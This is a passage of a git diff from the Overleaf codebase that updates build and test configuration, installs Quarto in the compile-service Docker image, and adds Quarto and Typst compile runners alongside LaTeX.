export IMAGE_TAG_PRO ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pro:main
|
||||||
|
export IMAGE_TAG_GIT_BRIDGE ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/git-bridge:main
|
||||||
export CYPRESS_SHARD ?=
|
export CYPRESS_SHARD ?=
|
||||||
export COMPOSE_PROJECT_NAME ?= test
|
export COMPOSE_PROJECT_NAME ?= test
|
||||||
export USER_UID=$(shell id -u)
|
export USER_UID=$(shell id -u)
|
||||||
|
|||||||
@@ -245,6 +245,7 @@ describe('admin panel', function () {
|
|||||||
'Deleted Projects',
|
'Deleted Projects',
|
||||||
'Audit Log',
|
'Audit Log',
|
||||||
'Sessions',
|
'Sessions',
|
||||||
|
'Personal Access Tokens',
|
||||||
]
|
]
|
||||||
cy.findAllByRole('tab').should('have.length', tabs.length)
|
cy.findAllByRole('tab').should('have.length', tabs.length)
|
||||||
tabs.forEach(tabName => {
|
tabs.forEach(tabName => {
|
||||||
|
|||||||
@@ -78,12 +78,12 @@ services:
|
|||||||
working_dir: $PWD
|
working_dir: $PWD
|
||||||
volumes:
|
volumes:
|
||||||
- $PWD:$PWD
|
- $PWD:$PWD
|
||||||
- $MONOREPO/libraries:$MONOREPO/libraries:ro
|
- $MONOREPO/libraries:$MONOREPO/libraries
|
||||||
- $MONOREPO/node_modules:$MONOREPO/node_modules:ro
|
- $MONOREPO/node_modules:$MONOREPO/node_modules
|
||||||
- $MONOREPO/.yarn:$MONOREPO/.yarn:ro
|
- $MONOREPO/.yarn:$MONOREPO/.yarn
|
||||||
- $MONOREPO/.yarnrc.yml:$MONOREPO/.yarnrc.yml:ro
|
- $MONOREPO/.yarnrc.yml:$MONOREPO/.yarnrc.yml
|
||||||
- $MONOREPO/package.json:$MONOREPO/package.json:ro
|
- $MONOREPO/package.json:$MONOREPO/package.json
|
||||||
- $MONOREPO/yarn.lock:$MONOREPO/yarn.lock:ro
|
- $MONOREPO/yarn.lock:$MONOREPO/yarn.lock
|
||||||
environment:
|
environment:
|
||||||
MONOREPO:
|
MONOREPO:
|
||||||
CYPRESS_SHARD:
|
CYPRESS_SHARD:
|
||||||
@@ -130,6 +130,7 @@ services:
|
|||||||
ALL_TEX_LIVE_DOCKER_IMAGES:
|
ALL_TEX_LIVE_DOCKER_IMAGES:
|
||||||
IMAGE_TAG_CE:
|
IMAGE_TAG_CE:
|
||||||
IMAGE_TAG_PRO:
|
IMAGE_TAG_PRO:
|
||||||
|
IMAGE_TAG_GIT_BRIDGE:
|
||||||
healthcheck:
|
healthcheck:
|
||||||
test: curl --fail http://localhost/status
|
test: curl --fail http://localhost/status
|
||||||
interval: 3s
|
interval: 3s
|
||||||
|
|||||||
@@ -44,6 +44,7 @@ describe('editor', function () {
|
|||||||
cy.log(`change project language to '${lng}'`)
|
cy.log(`change project language to '${lng}'`)
|
||||||
cy.findByRole('button', { name: 'Settings' }).click()
|
cy.findByRole('button', { name: 'Settings' }).click()
|
||||||
cy.findByRole('dialog').within(() => {
|
cy.findByRole('dialog').within(() => {
|
||||||
|
cy.findByRole('tab', { name: 'Spelling and language' }).click()
|
||||||
cy.findByLabelText('Spellcheck language').select(lng)
|
cy.findByLabelText('Spellcheck language').select(lng)
|
||||||
})
|
})
|
||||||
cy.get('body').type('{esc}')
|
cy.get('body').type('{esc}')
|
||||||
@@ -76,6 +77,7 @@ describe('editor', function () {
|
|||||||
cy.log('remove word from dictionary')
|
cy.log('remove word from dictionary')
|
||||||
cy.findByRole('button', { name: 'Settings' }).click()
|
cy.findByRole('button', { name: 'Settings' }).click()
|
||||||
cy.findByRole('dialog').within(() => {
|
cy.findByRole('dialog').within(() => {
|
||||||
|
cy.findByRole('tab', { name: 'Spelling and language' }).click()
|
||||||
cy.findByLabelText('Dictionary').click()
|
cy.findByLabelText('Dictionary').click()
|
||||||
})
|
})
|
||||||
cy.findByTestId('dictionary-modal').within(() => {
|
cy.findByTestId('dictionary-modal').within(() => {
|
||||||
|
|||||||
@@ -32,11 +32,12 @@ const PATHS = {
|
|||||||
const IMAGES = {
|
const IMAGES = {
|
||||||
CE: process.env.IMAGE_TAG_CE.replace(/:.+/, ''),
|
CE: process.env.IMAGE_TAG_CE.replace(/:.+/, ''),
|
||||||
PRO: process.env.IMAGE_TAG_PRO.replace(/:.+/, ''),
|
PRO: process.env.IMAGE_TAG_PRO.replace(/:.+/, ''),
|
||||||
|
GIT_BRIDGE: process.env.IMAGE_TAG_GIT_BRIDGE.replace(/:.+/, ''),
|
||||||
}
|
}
|
||||||
const LATEST = {
|
const LATEST = {
|
||||||
CE: process.env.IMAGE_TAG_CE.replace(/.+:/, '') || 'latest',
|
CE: process.env.IMAGE_TAG_CE.replace(/.+:/, '') || 'latest',
|
||||||
PRO: process.env.IMAGE_TAG_PRO.replace(/.+:/, '') || 'latest',
|
PRO: process.env.IMAGE_TAG_PRO.replace(/.+:/, '') || 'latest',
|
||||||
GIT_BRIDGE: 'latest', // TODO, build in CI?
|
GIT_BRIDGE: process.env.IMAGE_TAG_GIT_BRIDGE.replace(/.+:/, '') || 'latest',
|
||||||
}
|
}
|
||||||
|
|
||||||
function defaultDockerComposeOverride() {
|
function defaultDockerComposeOverride() {
|
||||||
@@ -242,7 +243,7 @@ function setVarsDockerCompose({
|
|||||||
|
|
||||||
cfg.services.sharelatex.image = `${pro ? IMAGES.PRO : IMAGES.CE}:${version === 'latest' ? (pro ? LATEST.PRO : LATEST.CE) : version}`
|
cfg.services.sharelatex.image = `${pro ? IMAGES.PRO : IMAGES.CE}:${version === 'latest' ? (pro ? LATEST.PRO : LATEST.CE) : version}`
|
||||||
cfg.services['git-bridge'].image =
|
cfg.services['git-bridge'].image =
|
||||||
`quay.io/sharelatex/git-bridge:${version === 'latest' ? LATEST.GIT_BRIDGE : version}`
|
`${IMAGES.GIT_BRIDGE}:${version === 'latest' ? LATEST.GIT_BRIDGE : version}`
|
||||||
|
|
||||||
cfg.services.sharelatex.environment = vars
|
cfg.services.sharelatex.environment = vars
|
||||||
|
|
||||||
|
|||||||
@@ -333,7 +333,7 @@ describe('SandboxedCompiles', function () {
|
|||||||
})
|
})
|
||||||
|
|
||||||
// https://github.com/overleaf/internal/issues/20216
|
// https://github.com/overleaf/internal/issues/20216
|
||||||
// eslint-disable-next-line mocha/no-skipped-tests
|
// eslint-disable-next-line mocha/no-pending-tests
|
||||||
describe.skip('unavailable in CE', function () {
|
describe.skip('unavailable in CE', function () {
|
||||||
if (isExcludedBySharding('CE_CUSTOM_1')) return
|
if (isExcludedBySharding('CE_CUSTOM_1')) return
|
||||||
startWith({ pro: false, vars: enabledVars, resetData: true })
|
startWith({ pro: false, vars: enabledVars, resetData: true })
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -54,6 +54,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -66,8 +70,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/chat/reports:/overleaf/services/chat/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
chat
|
chat
|
||||||
--dependencies=mongo
|
--dependencies=mongo
|
||||||
|
--deploy-pipeline=chat
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ COPY libraries/overleaf-editor-core/package.json /overleaf/libraries/overleaf-ed
|
|||||||
COPY libraries/promise-utils/package.json /overleaf/libraries/promise-utils/package.json
|
COPY libraries/promise-utils/package.json /overleaf/libraries/promise-utils/package.json
|
||||||
COPY libraries/settings/package.json /overleaf/libraries/settings/package.json
|
COPY libraries/settings/package.json /overleaf/libraries/settings/package.json
|
||||||
COPY libraries/stream-utils/package.json /overleaf/libraries/stream-utils/package.json
|
COPY libraries/stream-utils/package.json /overleaf/libraries/stream-utils/package.json
|
||||||
|
COPY libraries/validation-tools/package.json /overleaf/libraries/validation-tools/package.json
|
||||||
COPY services/clsi/package.json /overleaf/services/clsi/package.json
|
COPY services/clsi/package.json /overleaf/services/clsi/package.json
|
||||||
COPY .yarn/patches/ /overleaf/.yarn/patches/
|
COPY .yarn/patches/ /overleaf/.yarn/patches/
|
||||||
|
|
||||||
@@ -45,13 +46,17 @@ COPY libraries/overleaf-editor-core/ /overleaf/libraries/overleaf-editor-core/
|
|||||||
COPY libraries/promise-utils/ /overleaf/libraries/promise-utils/
|
COPY libraries/promise-utils/ /overleaf/libraries/promise-utils/
|
||||||
COPY libraries/settings/ /overleaf/libraries/settings/
|
COPY libraries/settings/ /overleaf/libraries/settings/
|
||||||
COPY libraries/stream-utils/ /overleaf/libraries/stream-utils/
|
COPY libraries/stream-utils/ /overleaf/libraries/stream-utils/
|
||||||
|
COPY libraries/validation-tools/ /overleaf/libraries/validation-tools/
|
||||||
COPY services/clsi/ /overleaf/services/clsi/
|
COPY services/clsi/ /overleaf/services/clsi/
|
||||||
|
|
||||||
FROM app AS with-texlive
|
FROM app AS with-quarto
|
||||||
|
|
||||||
|
ARG QUARTO_VERSION=1.6.39
|
||||||
RUN apt-get update \
|
RUN apt-get update \
|
||||||
&& apt-cache depends texlive-full | grep "Depends: " | grep -v -- "-doc" | grep -v -- "-lang-" | sed 's/Depends: //' | xargs apt-get install -y --no-install-recommends \
|
&& apt-get install -y --no-install-recommends curl ca-certificates \
|
||||||
&& apt-get install -y --no-install-recommends fontconfig inkscape python3-pygments qpdf \
|
&& curl -fsSL "https://github.com/quarto-dev/quarto-cli/releases/download/v${QUARTO_VERSION}/quarto-${QUARTO_VERSION}-linux-amd64.deb" -o /tmp/quarto.deb \
|
||||||
|
&& dpkg -i /tmp/quarto.deb \
|
||||||
|
&& rm /tmp/quarto.deb \
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
RUN mkdir -p cache compiles output \
|
RUN mkdir -p cache compiles output \
|
||||||
@@ -60,6 +65,15 @@ RUN mkdir -p cache compiles output \
|
|||||||
CMD ["node", "--expose-gc", "app.js"]
|
CMD ["node", "--expose-gc", "app.js"]
|
||||||
|
|
||||||
FROM app
|
FROM app
|
||||||
|
|
||||||
|
ARG QUARTO_VERSION=1.6.39
|
||||||
|
RUN apt-get update \
|
||||||
|
&& apt-get install -y --no-install-recommends curl ca-certificates \
|
||||||
|
&& curl -fsSL "https://github.com/quarto-dev/quarto-cli/releases/download/v${QUARTO_VERSION}/quarto-${QUARTO_VERSION}-linux-amd64.deb" -o /tmp/quarto.deb \
|
||||||
|
&& dpkg -i /tmp/quarto.deb \
|
||||||
|
&& rm /tmp/quarto.deb \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
RUN mkdir -p cache compiles output \
|
RUN mkdir -p cache compiles output \
|
||||||
&& chown node:node cache compiles output
|
&& chown node:node cache compiles output
|
||||||
|
|
||||||
|
|||||||
+10
-4
@@ -25,6 +25,7 @@ IMAGE_CACHE ?= $(IMAGE_REPO):cache-$(shell cat \
|
|||||||
$(MONOREPO)/libraries/promise-utils/package.json \
|
$(MONOREPO)/libraries/promise-utils/package.json \
|
||||||
$(MONOREPO)/libraries/settings/package.json \
|
$(MONOREPO)/libraries/settings/package.json \
|
||||||
$(MONOREPO)/libraries/stream-utils/package.json \
|
$(MONOREPO)/libraries/stream-utils/package.json \
|
||||||
|
$(MONOREPO)/libraries/validation-tools/package.json \
|
||||||
$(MONOREPO)/services/clsi/package.json \
|
$(MONOREPO)/services/clsi/package.json \
|
||||||
$(MONOREPO)/.yarn/patches/* \
|
$(MONOREPO)/.yarn/patches/* \
|
||||||
| sha256sum | cut -d '-' -f1)
|
| sha256sum | cut -d '-' -f1)
|
||||||
@@ -54,6 +55,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -67,8 +72,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/clsi/reports:/overleaf/services/clsi/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
@@ -165,8 +170,9 @@ test_acceptance_clean:
|
|||||||
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) down -v -t 0
|
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) down -v -t 0
|
||||||
|
|
||||||
test_acceptance_pre_run:
|
test_acceptance_pre_run:
|
||||||
docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc:3.9
|
-docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc:3.9
|
||||||
docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc-staging:3.9
|
-docker pull us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pandoc-staging:3.9
|
||||||
|
-cd ../../ && docker build -t us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pdftocairo:24.02 dockerfiles/pdftocairo
|
||||||
ifneq (,$(wildcard test/acceptance/js/scripts/pre-run))
|
ifneq (,$(wildcard test/acceptance/js/scripts/pre-run))
|
||||||
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) run $(DC_RUN_FLAGS) test_acceptance test/acceptance/js/scripts/pre-run
|
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) run $(DC_RUN_FLAGS) test_acceptance test/acceptance/js/scripts/pre-run
|
||||||
endif
|
endif
|
||||||
|
|||||||
@@ -145,6 +145,11 @@ app.post(
|
|||||||
bodyParser.json({ limit: Settings.compileSizeLimit }),
|
bodyParser.json({ limit: Settings.compileSizeLimit }),
|
||||||
ConversionController.convertProjectToDocument
|
ConversionController.convertProjectToDocument
|
||||||
)
|
)
|
||||||
|
app.post(
|
||||||
|
'/convert/pdf-to-jpeg',
|
||||||
|
FileUploadMiddleware.multerMiddleware,
|
||||||
|
ConversionController.convertPDFToJPEG
|
||||||
|
)
|
||||||
|
|
||||||
if (process.env.NODE_ENV === 'development' && global.__coverage__) {
|
if (process.env.NODE_ENV === 'development' && global.__coverage__) {
|
||||||
app.get('/coverage', (req, res) => {
|
app.get('/coverage', (req, res) => {
|
||||||
|
|||||||
@@ -80,6 +80,10 @@ function compile(req, res, next) {
|
|||||||
{ err: error, projectId: request.project_id },
|
{ err: error, projectId: request.project_id },
|
||||||
'timeout running compile'
|
'timeout running compile'
|
||||||
)
|
)
|
||||||
|
} else if (error?.typstCompileFailure) {
|
||||||
|
// Typst compiled but with errors — treat as a compile failure so
|
||||||
|
// the frontend shows the error log rather than the old PDF.
|
||||||
|
status = 'failure'
|
||||||
} else if (error) {
|
} else if (error) {
|
||||||
status = 'error'
|
status = 'error'
|
||||||
code = 500
|
code = 500
|
||||||
@@ -90,7 +94,9 @@ function compile(req, res, next) {
|
|||||||
} else {
|
} else {
|
||||||
if (
|
if (
|
||||||
outputFiles.some(
|
outputFiles.some(
|
||||||
file => file.path === 'output.pdf' && file.size > 0
|
file =>
|
||||||
|
(file.path === 'output.pdf' && file.size > 0) ||
|
||||||
|
file.path === 'output.html'
|
||||||
)
|
)
|
||||||
) {
|
) {
|
||||||
status = 'success'
|
status = 'success'
|
||||||
|
|||||||
@@ -1,12 +1,13 @@
|
|||||||
import fsPromises from 'node:fs/promises'
|
import fsPromises from 'node:fs/promises'
|
||||||
import os from 'node:os'
|
|
||||||
import Path from 'node:path'
|
import Path from 'node:path'
|
||||||
import { callbackify } from 'node:util'
|
import { callbackify } from 'node:util'
|
||||||
import Settings from '@overleaf/settings'
|
import Settings from '@overleaf/settings'
|
||||||
import logger from '@overleaf/logger'
|
import logger from '@overleaf/logger'
|
||||||
import OError from '@overleaf/o-error'
|
import OError from '@overleaf/o-error'
|
||||||
import ResourceWriter from './ResourceWriter.js'
|
import ResourceWriter from './ResourceWriter.js'
|
||||||
|
import QuartoRunner from './QuartoRunner.js'
|
||||||
import LatexRunner from './LatexRunner.js'
|
import LatexRunner from './LatexRunner.js'
|
||||||
|
import TypstRunner from './TypstRunner.js'
|
||||||
import OutputFileFinder from './OutputFileFinder.js'
|
import OutputFileFinder from './OutputFileFinder.js'
|
||||||
import OutputCacheManager from './OutputCacheManager.js'
|
import OutputCacheManager from './OutputCacheManager.js'
|
||||||
import ClsiMetrics from './Metrics.js'
|
import ClsiMetrics from './Metrics.js'
|
||||||
@@ -18,16 +19,12 @@ import CommandRunner from './CommandRunner.js'
|
|||||||
import ContentCacheMetrics from './ContentCacheMetrics.js'
|
import ContentCacheMetrics from './ContentCacheMetrics.js'
|
||||||
import SynctexOutputParser from './SynctexOutputParser.js'
|
import SynctexOutputParser from './SynctexOutputParser.js'
|
||||||
import CLSICacheHandler from './CLSICacheHandler.js'
|
import CLSICacheHandler from './CLSICacheHandler.js'
|
||||||
import StatsManager from './StatsManager.js'
|
|
||||||
import SafeReader from './SafeReader.js'
|
|
||||||
import LatexMetrics from './LatexMetrics.js'
|
|
||||||
import { callbackifyMultiResult } from '@overleaf/promise-utils'
|
import { callbackifyMultiResult } from '@overleaf/promise-utils'
|
||||||
import * as HistoryResourceWriter from './HistoryResourceWriter.js'
|
import * as HistoryResourceWriter from './HistoryResourceWriter.js'
|
||||||
|
|
||||||
const { downloadLatestCompileCache, downloadOutputDotSynctexFromCompileCache } =
|
const { downloadLatestCompileCache, downloadOutputDotSynctexFromCompileCache } =
|
||||||
CLSICacheHandler
|
CLSICacheHandler
|
||||||
const { emitPdfStats } = ContentCacheMetrics
|
const { emitPdfStats } = ContentCacheMetrics
|
||||||
const { enableLatexMkMetrics, addLatexFdbMetrics } = LatexMetrics
|
|
||||||
const { shouldSkipMetrics } = ClsiMetrics
|
const { shouldSkipMetrics } = ClsiMetrics
|
||||||
|
|
||||||
const KNOWN_LATEXMK_RULES = new Set([
|
const KNOWN_LATEXMK_RULES = new Set([
|
||||||
@@ -44,6 +41,43 @@ const KNOWN_LATEXMK_RULES = new Set([
|
|||||||
|
|
||||||
const LATEX_PASSES_RULES = new Set(['latex', 'lualatex', 'xelatex', 'pdflatex'])
|
const LATEX_PASSES_RULES = new Set(['latex', 'lualatex', 'xelatex', 'pdflatex'])
|
||||||
|
|
||||||
|
// Quarto handles .qmd/.md/.Rmd sources; everything else (.tex, .ltx, .Rtex,
|
||||||
|
// .Rnw) is compiled with latexmk via LatexRunner. Dispatch is by the root
|
||||||
|
// file's extension, so LaTeX and Quarto projects can coexist on one server.
|
||||||
|
function _isQuartoFile(rootResourcePath) {
|
||||||
|
return /\.(qmd|md|rmd)$/i.test(rootResourcePath || '')
|
||||||
|
}
|
||||||
|
|
||||||
|
// A bare Typst source (.typ) compiles straight to PDF with the Typst that
|
||||||
|
// ships inside Quarto (see TypstRunner), separate from the Quarto pipeline.
|
||||||
|
function _isTypstFile(rootResourcePath) {
|
||||||
|
return /\.typ$/i.test(rootResourcePath || '')
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a runner with a uniform { run, isRunning, kill } interface so the
|
||||||
|
// rest of CompileManager doesn't need to know which engine is in use.
|
||||||
|
function _getRunner(rootResourcePath) {
|
||||||
|
if (_isTypstFile(rootResourcePath)) {
|
||||||
|
return {
|
||||||
|
run: (name, opts) => TypstRunner.promises.runTypst(name, opts),
|
||||||
|
isRunning: name => TypstRunner.isRunning(name),
|
||||||
|
kill: name => TypstRunner.promises.killTypst(name),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (_isQuartoFile(rootResourcePath)) {
|
||||||
|
return {
|
||||||
|
run: (name, opts) => QuartoRunner.promises.runQuarto(name, opts),
|
||||||
|
isRunning: name => QuartoRunner.isRunning(name),
|
||||||
|
kill: name => QuartoRunner.promises.killQuarto(name),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
run: (name, opts) => LatexRunner.promises.runLatex(name, opts),
|
||||||
|
isRunning: name => LatexRunner.isRunning(name),
|
||||||
|
kill: name => LatexRunner.promises.killLatex(name),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function getCompileName(projectId, userId) {
|
function getCompileName(projectId, userId) {
|
||||||
if (userId != null) {
|
if (userId != null) {
|
||||||
return `${projectId}-${userId}`
|
return `${projectId}-${userId}`
|
||||||
@@ -124,7 +158,11 @@ async function doCompile(request, stats, timings) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
// apply a series of file modifications/creations for draft mode and tikz
|
// apply a series of file modifications/creations for draft mode and tikz
|
||||||
if (request.draft) {
|
// Draft mode injects LaTeX preamble commands — skip for Quarto files
|
||||||
|
const isLatexFile = /\.(tex|ltx|Rtex)$/i.test(
|
||||||
|
request.rootResourcePath || ''
|
||||||
|
)
|
||||||
|
if (request.draft && isLatexFile) {
|
||||||
await DraftModeManager.promises.injectDraftMode(
|
await DraftModeManager.promises.injectDraftMode(
|
||||||
Path.join(compileDir, request.rootResourcePath)
|
Path.join(compileDir, request.rootResourcePath)
|
||||||
)
|
)
|
||||||
@@ -196,18 +234,10 @@ async function doCompile(request, stats, timings) {
|
|||||||
|
|
||||||
const compileName = getCompileName(request.project_id, request.user_id)
|
const compileName = getCompileName(request.project_id, request.user_id)
|
||||||
|
|
||||||
// Record latexmk -time stats for a subset of users
|
const runner = _getRunner(request.rootResourcePath)
|
||||||
const recordPerformanceMetrics = StatsManager.sampleRequest(
|
|
||||||
request,
|
|
||||||
